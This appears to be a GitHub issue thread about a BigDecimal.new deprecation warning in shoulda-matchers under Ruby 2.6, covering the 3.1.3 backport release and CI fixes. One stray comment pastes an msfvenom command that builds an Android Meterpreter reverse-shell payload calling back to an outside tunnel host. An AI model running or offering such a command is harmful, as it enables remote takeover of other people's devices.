Now, Ruby 2.6.0 is released and BigDecimal.new is already deprecated.
https://github.com/ruby/ruby/blob/v2_6_0/NEWS
But latest shoulda-matchers (v3.1.2) uses BigDecimal.new.
Deprecation warning is displayed in shoulda-matchers :weary:
$ ruby -v
ruby 2.6.0p0 (2018-12-25 revision 66547) [x86_64-darwin17]
$ bundle exec rspec
/app/vendor/bundle/ruby/2.6.0/gems/shoulda-matchers-3.1.2/lib/shoulda/matchers/active_model/validate_inclusion_of_matcher.rb:273: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
This is resolved at https://github.com/thoughtbot/shoulda-matchers/pull/1070 , but this change is included in only v4.0.0.rc1.
Do you have any plan for v4.0.0 ?
Ugh. :) We'll have to see how much effort this is. My guess is that it is going to be a quick change, so I'll go ahead and tag this for 4.0.0.
I am also getting the same message under Ruby 2.6.0
@mcmire - I made a v-3-1-stable branch which:
It was more of a struggle than I had time for to get the relatively ancient versions of ruby, bundler, gems, etc - to play nice and run the full test suite after I cherry pick'd. Looks like CI might have the same struggles - https://travis-ci.org/thoughtbot/shoulda-matchers/builds/480947964. It strikes me as possible that gem versions have been yanked or git repos moved or something, not sure.
Anyway - if you wanted to release a 3.1.3 which does nothing but fix the deprecation warning, feel free to do it from that branch/commit.
I'm happy to add a changelog entry or open a PR or whatever else might assist, but will otherwise defer to you on whether to tag/release or not (not sure how close 4.0 is...)
Hey @mjankowski! Nice to see you on here and thanks for making that branch. I took a quick glance at Travis. That's very odd and I'm not certain what the solution there is. Perhaps it would make sense to upgrade some of the gems or maybe we need to pin some of the versions. I'm fine with releasing a 3.1.3 version given that I'm sure this is annoying. If you can figure this out, then great, otherwise I'll take a look when I get a chance.
Current status: https://github.com/thoughtbot/shoulda-matchers/compare/v3.1.2...v-3-1-stable (includes a changelog note, and the original commit).
I made a separate branch to try to suss out travis failure. This build - https://travis-ci.org/thoughtbot/shoulda-matchers/builds/481508216 - was attempting to use ruby 2.2 and rails 4.2.4, but does not include any gemfiles modifications from what was in place when 3.1.2 was tagged.
I think something is going on where the versions of rake and/or rails needed for the rails app which is generated and operated on within the acceptance part of the specs is not interacting cleanly with the appraisal-desired versions of things (I've seen the "no such last_comment method in rake failure a few times, and that linked build has a problem finding correct rails version).
What I don't know is whether these problems were always there in s-m and just happened to not matter when being run in a more contemporaneous maintained travis env ... or if something on the travis side has changed since then.
I'll chip away a little more, my sense is that the change is fine, but I'd love to see it pass fully before releasing.
@mjankowski I fixed CI at #1168
Thanks, I merged that in, CI run looks good - https://travis-ci.org/thoughtbot/shoulda-matchers/builds/482054912
@mcmire you could probably tag v3.1.3 and release gem from that branch if it looks good to you.
@mjankowski and friends: I've released v3.1.3. Here is the tag: https://github.com/thoughtbot/shoulda-matchers/tree/v3.1.3.
Awesome, thanks.
We should make sure the NEWS.md release notes get back into master. The bigdecimal changes are already there ... not sure on the CI stuff.
This issue (deprecation warning on Ruby 2.6) is resolved at v3.1.3. (but NEWS.md has not been updated)
Should I close this issue?
I updated NEWS in master, think this is all set now. Thanks for reminder.
msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11.1/lib/active_support/core_ext/object/duplicable.rb:111: warning: BigDecimal.new is deprecated; use BigDecimal() method instead.
how to fix
@shaheem007 This isn't the right project to report that warning. Please locate the issue tracker for the tool you're using and report it there instead.
Regarding this, is there an easy way to deal with this warning when using Minitest given that we're currently using shoulda-matchers 2 per the documentation:
group :test do
gem 'shoulda', '~> 3.5'
gem 'shoulda-matchers', '~> 2.0'
gem 'rails-controller-testing'
end
Hey @brendon. So the README does say to use shoulda-matchers 2, although there is a pre-release out for Shoulda that should allow you to use the latest version of shoulda-matchers. Try changing your Gemfile to:
group :test do
gem 'shoulda', '4.0.0.rc1'
gem 'rails-controller-testing'
end
Give that a shot and let me know how that works for you.
Hi @mcmire, I just did a quick test substituting in the gems you listed above and got:
NoMethodError: undefined method `have_many' for FamilyMemberTest:Class
I added in shoulda-matchers but unfortunately this didn't fix the error. I can dig deeper for you if need me, let me know what you'd like me to look for :)
@brendon Would you mind making a new issue? That way I can help you there and we don't spam the people mentioned on this issue.
Most helpful comment
@mjankowski and friends: I've released v3.1.3. Here is the tag: https://github.com/thoughtbot/shoulda-matchers/tree/v3.1.3.